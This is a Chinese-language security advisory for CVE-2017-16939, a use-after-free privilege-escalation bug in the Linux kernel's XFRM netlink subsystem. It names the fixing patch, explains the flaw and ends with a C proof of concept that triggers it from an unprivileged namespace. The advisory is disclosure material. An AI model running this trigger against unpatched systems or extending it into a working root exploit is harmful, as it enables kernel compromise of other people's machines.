SSD安全公告-Linux内核XFRM权限提升漏洞
Credit to Author: SSD / Maor Schwartz| Date: Mon, 11 Dec 2017 08:51:42 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
漏洞概要
以下安全公告描述了在Linux内核中发现的一个UAF漏洞,成功利用此漏洞的攻击者可以提升权限。漏洞存在于Netlink 套接字子系统 – XFRM.
Netlink用于在内核和用户空间进程之间传输信息。 它由用户空间进程的标准基于套接字的接口和内核模块的内部内核API组成。
漏洞提交者
一位独立的安全研究员Mohamed Ghannam向Beyond Security的SSD报告了该漏洞
厂商响应
该漏洞已在补丁1137b5e中被修复(“ipsec:修复中止xfrm策略转储崩溃”)
CVE: CVE-2017-16939
漏洞详细信息
非特权用户可以更改Netlink 套接字子系统 XFRM sk-> sk_rcvbuf的值(sk ==sock结构体对象)。
可以通过setsockopt(SO_RCVBUF)更改sk-> sk_rcvbuf的值为特定的范围。通过recvmsg/recv/read接收数据时,sk_rcvbuf表示接收缓冲区的大小。
sk_rcvbuf值是内核为skb(sk_buff结构体对象)分配的大小。
skb-> trusize是一个变量,它保持对已使用内存的追踪,为了避免内存浪费,方便管理,内核可以在运行时改变skb的大小。
例如,如果我们分配一个大的套接字缓冲区(skb),而我们只接收到1字节大小的数据包,内核将通过调用skb_set_owner_r来调整skb-> trusize的大小。
通过调用skb_set_owner_r修改sk-> sk_rmem_alloc(引用自原子变量sk-> sk_backlog.rmem_alloc)。
当创建XFRM netlink 套接字时,会调用xfrm_dump_policy函数,当我们关闭套接字时,xfrm_dump_policy_done会被调用。
当netlink_sock对象的cb_running值为true时调用xfrm_dump_policy_done。
xfrm_dump_policy_done会尝试清理由netlink_callback对象管理的xfrm walk条目。
当调用netlink_skb_set_owner_r(如skb_set_owner_r)时,它会更新sk_rmem_alloc。
在上面的代码中,我们可以看到当sk-> sk_rcvbuf小于sk_rmem_alloc(注意我们可以通过stockpot控制sk-> sk_rcvbuf)时,netlink_dump()验证失败。
当满足sk-> sk_rcvbuf小于sk_rmem_alloc时,会跳转到函数的结尾,然而cb_running的值还没有被更改为false,netlink_dump()函数就返回了。
此时nlk-> cb_running为true,因此会调用xfrm_dump_policy_done()。
nlk-> cb.done指向xfrm_dump_policy_done,值得注意的是这个函数处理一个双向链表,所以如果利用这个漏洞引用一个可控的缓冲区,我们就可以实现任意内存读写。
漏洞证明
下面的代码在Ubuntu 17.04测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <stdlib.h> #include <asm/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/netlink.h> #include <linux/xfrm.h> #include <sched.h> #include <unistd.h> #define BUFSIZE 2048 int fd; struct sockaddr_nl addr; struct msg_policy { struct nlmsghdr msg; char buf[BUFSIZE]; }; void create_nl_socket(void) { fd = socket(PF_NETLINK,SOCK_RAW,NETLINK_XFRM); memset(&addr,0,sizeof(struct sockaddr_nl)); addr.nl_family = AF_NETLINK; addr.nl_pid = 0; /* packet goes into the kernel */ addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */ } void do_setsockopt(void) { int var =0x100; setsockopt(fd,1,SO_RCVBUF,&var,sizeof(int)); } struct msg_policy *init_policy_dump(int size) { struct msg_policy *r; r = malloc(sizeof(struct msg_policy)); if(r == NULL) { perror(“malloc”); exit(–1); } memset(r,0,sizeof(struct msg_policy)); r->msg.nlmsg_len = 0x10; r->msg.nlmsg_type = XFRM_MSG_GETPOLICY; r->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST; r->msg.nlmsg_seq = 0x1; r->msg.nlmsg_pid = 2; return r; } int send_msg(int fd,struct nlmsghdr *msg) { int err; err = sendto(fd,(void *)msg,msg->nlmsg_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_nl)); if (err < 0) { perror(“sendto”); return –1; } return 0; } void create_ns(void) { if(unshare(CLONE_NEWUSER) != 0) { perror(“unshare(CLONE_NEWUSER)”); exit(1); } if(unshare(CLONE_NEWNET) != 0) { perror(“unshared(CLONE_NEWUSER)”); exit(2); } } int main(int argc,char **argv) { struct msg_policy *p; create_ns(); create_nl_socket(); p = init_policy_dump(100); do_setsockopt(); send_msg(fd,&p->msg); p = init_policy_dump(1000); send_msg(fd,&p->msg); return 0; } |